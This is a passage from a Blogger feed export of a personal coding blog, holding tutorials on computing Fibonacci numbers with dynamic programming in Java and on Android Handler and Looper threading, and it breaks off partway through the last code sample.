<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5044415288327726339</id><updated>2024-11-05T19:04:42.717-08:00</updated><category term="read it more...."/><title type='text'>Hacking Forever....</title><subtitle type='html'>Start Your Self and Design the world as you wish...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>66</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-1421704983953077840</id><published>2017-03-28T05:34:00.001-07:00</published><updated>2017-03-28T05:38:24.358-07:00</updated><title type='text'>Fibonacci number using Dynamic Programming (JAVA)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Recursion is most famous solution for the Fibonacci number. But it&#39;s complexity is higher. &amp;nbsp;It is 2^n. Is what can be better optimal solution. And Answer is Dynamic Programming. We can solve the problem in o(n). But for this we need to use space complexity. We will be saving our previous record to the memory. Let&#39;s see..&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Initialize our array with certain length&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
========================================&lt;/div&gt;
&lt;div&gt;
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |&lt;/div&gt;
&lt;div&gt;
========================================&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
We will manually assign 1 and 1 to the position 0 and 1 of array. Because we know in Fibonacci Series 1st and 2nd index is 1.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br class=&quot;Apple-interchange-newline&quot; /&gt;
========================================&lt;/div&gt;
&lt;div&gt;
| 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |&lt;/div&gt;
&lt;div&gt;
========================================&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
now we will iterate through 2 to n and add (n-1)&amp;nbsp;+ (n-2) and save it to memory. Which we do is our recursive solution as well. So our array looks like this.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br class=&quot;Apple-interchange-newline&quot; /&gt;
=========================================&lt;/div&gt;
&lt;div&gt;
| 1 | 1 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |&lt;/div&gt;
&lt;div&gt;
=========================================&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
we continue iterating it.&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br class=&quot;Apple-interchange-newline&quot; /&gt;
=========================================&lt;/div&gt;
&lt;div&gt;
| 1 | 1 | 2 | 3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |&lt;/div&gt;
&lt;div&gt;
=========================================&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; :&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\/&lt;/div&gt;
&lt;div&gt;
finally it looks like this&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
==========================================================&lt;/div&gt;
&lt;div&gt;
| 1 | 1 | 2 | 3 | 5 | 8 | 13 | 21 | 34 | 55 | 89 | 144 | 233 | 377 | 610 | 987 | 1597 |&lt;/div&gt;
&lt;div&gt;
==========================================================&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
Below is Java code:&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&amp;nbsp;public static void main(String[] args) {&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Scanner in = new Scanner(System.in); // Taking input from console&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;int q = in.nextInt();&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;int[] arr = new int[q]; // Initializing array&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;arr[0]= arr[1] = 1; // Setting 0 and 1st pos to 1&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;System.out.print(arr[0]+&quot; &quot;+arr[1]+&quot; &quot;); printing 0th and 1st pos&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;for(int i = 2; i&amp;lt;q;i++){ &amp;nbsp;//iterating from 2nd to size&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;arr[i] = arr[i-1]+arr[i-2]; // adding last two values&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;System.out.print(arr[i]+&quot; &quot;); //Printing value&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/1421704983953077840/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2017/03/fibonacci-number-using-dynamic.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/1421704983953077840'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/1421704983953077840'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2017/03/fibonacci-number-using-dynamic.html' title='Fibonacci number using Dynamic Programming (JAVA)'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-9170757103016769306</id><published>2015-04-15T05:39:00.002-07:00</published><updated>2015-04-15T05:39:24.303-07:00</updated><title type='text'>Performing UI Related task from Worker Thread using Handler</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
This Example shows How to do UI related task from Worker Thread using Handler. Main Thread contains Handler object. Which ever thread creates Handler object receives message from other thread (Handler Handles the Message). &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;import android.app.Activity;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;import android.os.Bundle;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;import android.os.Handler;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;import android.widget.Toast;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;public class Testing extends Activity {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: #666666; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;// Handler Basically does Two task 1) Handle Message in current thread 2)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #6aa84f;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;// Send to other Thread for proccessing&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Handler mHandler;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;@Override&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;protected void onCreate(Bundle savedInstanceState) {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;super.onCreate(savedInstanceState);&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;setContentView(R.layout.activity_main);&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: #666666; white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;// UI thread creates object of Handler. &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;mHandler = new Handler();&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;new Thread(new Runnable() { &lt;/span&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;// Worker Thread&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: #666666; white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;// Sending Runnable to Handler MessageQueue which will handled in UI Thread&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;@Override&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;public void run() {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;      &lt;/span&gt;mHandler.post(new Runnable() {&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;@Override&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;public void run() {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: #666666; white-space: pre;&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;// Showing Toast Message&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;Toast.makeText(getApplicationContext(), &quot;I am from Worker Thread&quot;, Toast.LENGTH_LONG).show();&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;      &lt;/span&gt;});&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;}).start(); &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;// Starting Thread&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/9170757103016769306/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2015/04/performing-ui-related-task-from-worker.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/9170757103016769306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/9170757103016769306'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2015/04/performing-ui-related-task-from-worker.html' title='Performing UI Related task from Worker Thread using Handler'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-3423904494458169924</id><published>2015-04-15T05:06:00.003-07:00</published><updated>2015-04-15T05:24:11.273-07:00</updated><title type='text'>Sending message from one worker thread to other worker thread using Handler and Looper (Android)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;Below code snippet explains how to send message from one worker thread to another worker thread using Handler, Looper and Message. First worker thread receive message from second thread.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYJGC6T-YEP_zwMg6A6h95u1sOJmygPgh8uCDqxS6hemlD9HxflUNG6Omu-cywKJROB6UshaetT8xrhM5xVm4OdbvaaqFbGq5J3IHw9WhFc6JdOFXEosSlAV2AUurHIWkz-Itrc1MJE_k/s1600/Handler.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYJGC6T-YEP_zwMg6A6h95u1sOJmygPgh8uCDqxS6hemlD9HxflUNG6Omu-cywKJROB6UshaetT8xrhM5xVm4OdbvaaqFbGq5J3IHw9WhFc6JdOFXEosSlAV2AUurHIWkz-Itrc1MJE_k/s1600/Handler.png&quot; height=&quot;545&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;import android.app.Activity;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;import android.os.Bundle;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;import android.os.Handler;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;import android.os.Looper;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;import android.os.Message;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;public class Testing extends Activity {&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;//Handler Basically does Two task 1) Handle Message in current thread 2) Send to other Thread for proccessing&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Handler mHandler;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;@Override&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;protected void onCreate(Bundle savedInstanceState) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;super.onCreate(savedInstanceState);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;setContentView(R.layout.activity_main);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;new Thread(new Runnable() { &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt; // First worker Thread&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;@Override&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;public void run() {&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #93c47d;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;// Prepare a Massage Queue for Handler so one by one can be processed&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;Looper.prepare();&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;mHandler = new Handler() {&lt;/span&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt; // Handler is associated with current thread&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;&amp;nbsp;// Handling Received Messages&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #666666;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;@Override&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;public void handleMessage(Message msg) { &amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;      &lt;/span&gt;super.handleMessage(msg);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;      &lt;/span&gt;System.out.println(&quot;Recived By &quot;&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: #666666; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;+ Thread.currentThread().getName()&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: #666666; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;+ &quot; And Msg is: &quot; + msg.arg1);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;};&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;Looper.loop();&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}).start();&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;new Thread(new Runnable() {&lt;/span&gt; &amp;nbsp; &lt;span style=&quot;color: #6aa84f;&quot;&gt;// Second &amp;nbsp;Worker Thread&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;span style=&quot;color: #666666;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;@Override&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;public void run() {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;int i = 0;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;while (i &amp;lt; 100) {&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;/*Obtain a Message from Message Pool. It&#39;s good practice not to create Message Object but get from System itself. Saves memory.*/&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;Message msg = Message.obtain();&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;System.out.println(&quot;Sending MSg via: &quot;&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: #666666; white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;+ Thread.currentThread().getName() + &quot;Data: &quot; + i);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;msg.arg1 += i;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;mHandler.sendMessage(msg);&lt;/span&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt; // Sending Message to 1st worker thread&lt;/span&gt;&lt;br /&gt;
